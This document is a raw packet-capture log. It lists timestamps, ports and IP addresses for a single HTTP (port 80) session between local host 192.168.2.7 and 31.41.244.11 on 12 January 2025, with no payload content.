Jan 12, 2025 17:39:13.245843887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.245856047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.245889902 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.245892048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.245927095 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.245944977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.245976925 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246005058 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246009111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246021986 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246062994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246087074 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246098995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246150017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246176004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246185064 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246217966 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246273041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246273041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246273041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246273994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246306896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246359110 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246376038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246376038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246390104 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246440887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246452093 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246474981 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246495008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246507883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246540070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246541023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246571064 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246571064 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246577024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246608973 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246642113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246654034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246654034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246674061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246706009 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246706009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246738911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246746063 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246746063 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246772051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246792078 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246803999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246839046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246870995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246885061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246885061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246885061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246906042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246912003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246938944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246970892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.246985912 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246985912 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.246999979 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247033119 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247067928 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247073889 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.247073889 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.247101068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247134924 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247143984 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.247143984 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.247173071 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247216940 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.247216940 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.247260094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247322083 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.247344971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247395039 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247447014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247474909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.247498035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247498035 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.247530937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247565031 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247608900 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.247608900 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.247608900 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.247612953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247646093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247678041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247684956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.247701883 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.247709990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247741938 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247760057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.247775078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247803926 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.247807980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247840881 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247872114 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247898102 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.247898102 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.247905016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247924089 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.247939110 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.247948885 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.247973919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.248008013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.248042107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.248061895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.248061895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.248081923 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.301826954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.301840067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.301857948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.301870108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.301881075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.301892996 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.301904917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.301923037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.301933050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.301949024 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.301949024 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.301950932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.301956892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.301968098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.301980019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.301985025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.301996946 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.302009106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.302009106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.302022934 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.302078009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.302089930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.302102089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.302112103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.302122116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.302129984 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.302129984 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.302134991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.302165985 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.302165985 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.302210093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.302221060 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.302232027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.302243948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.302279949 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.302279949 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.302521944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.302532911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.302546024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.302571058 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.302598953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.302664042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.302675962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.302687883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.302697897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.302752972 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.302752972 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.302752972 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.303245068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303256035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303267002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303297043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303308010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303325891 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.303325891 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.303328991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303340912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303360939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.303395033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.303487062 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303529978 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303539991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303550959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303555012 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.303570986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303580999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303592920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303596973 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.303596973 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.303596973 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.303612947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.303612947 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303623915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303725004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.303725004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.303781986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303807974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303817987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303841114 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.303841114 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.303873062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.303917885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303930044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303941011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303957939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303972006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303982019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.303993940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.304006100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.304019928 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.304023027 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.304023027 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.304023027 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.304023981 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.304029942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.304043055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.304054976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.304097891 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.304097891 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.304097891 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.332081079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332099915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332110882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332123041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332134962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332144976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332168102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332185030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332191944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.332191944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.332197905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332207918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332220078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332222939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.332222939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.332231045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332242012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332254887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332272053 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332283020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332290888 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.332292080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.332292080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.332295895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332307100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332319021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332329035 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.332329988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332341909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332353115 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.332369089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332380056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332385063 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.332391977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332405090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332416058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332426071 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332429886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.332429886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.332429886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.332438946 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332448959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332467079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332472086 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.332472086 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.332478046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332489014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332499027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332525015 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332535028 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.332535028 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.332537889 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332549095 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332551003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.332561016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332572937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332582951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332595110 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.332614899 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.332614899 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.332614899 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.332639933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.333343029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.333359957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.333373070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.333391905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.333405018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.333410978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.333410978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.333422899 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.333435059 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.333446026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.333465099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.333472013 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.333472967 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.333476067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.333487988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.333498001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.333517075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.333527088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.333540916 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.333543062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.333543062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.333543062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.333553076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.333566904 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.333589077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.333589077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.333631992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.333642960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.333643913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.333655119 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.333667040 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.333724976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.333724976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.333724976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.388123989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388137102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388149023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388168097 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388180017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388196945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388196945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.388196945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.388211966 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388226986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388247013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388257980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388277054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388281107 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.388294935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388300896 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.388300896 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.388308048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388325930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388338089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388345957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.388351917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388362885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388375044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388396025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.388396025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.388403893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388417006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388427973 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388431072 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.388468027 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.388715982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388725996 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.388746023 CET	49975	80	192.168.2.7	31.41.244.11
